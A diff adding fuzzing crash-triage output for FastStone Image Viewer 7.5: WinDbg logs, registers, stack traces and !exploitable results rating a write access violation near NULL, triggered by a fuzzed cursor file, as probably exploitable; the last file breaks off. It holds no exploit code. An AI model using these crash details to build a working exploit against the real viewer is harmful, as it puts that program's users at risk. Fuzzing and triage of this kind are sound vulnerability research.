Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/57060/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,173 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x7F0: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x7F0: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74a00000 00000000`74a28000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a30000 00000000`74bca000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(7f0.bc0): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=40000000 ecx=07e57b19 edx=00000000 esi=00000000 edi=0fc20fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210216 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.718529053629891680000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 4.261410000000000000000e+0005 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=2.0827e-019 2.06242e-026 -4.02561e+026 3.0346e-025 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f38130 07eb5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00308000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00308000 2c60ed41 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62bd 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00308000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/57060/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/57060/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..8b0035e --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/57060/WindowsDebugEngine_description.txt @@ -0,0 +1,173 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x7F0: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x7F0: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74a00000 00000000`74a28000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a30000 00000000`74bca000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(7f0.bc0): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=40000000 ecx=07e57b19 edx=00000000 esi=00000000 edi=0fc20fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210216 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.718529053629891680000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 4.261410000000000000000e+0005 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=2.0827e-019 2.06242e-026 -4.02561e+026 3.0346e-025 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f38130 07eb5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00308000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00308000 2c60ed41 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62bd 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00308000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/57060/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/57060/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..7f9d67e Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/57060/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/57342/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/57342/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/57342/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/57342/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/57342/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..01a146f Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/57342/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/57342/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/57342/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..8a8fab8 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/57342/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x320: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x320: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL 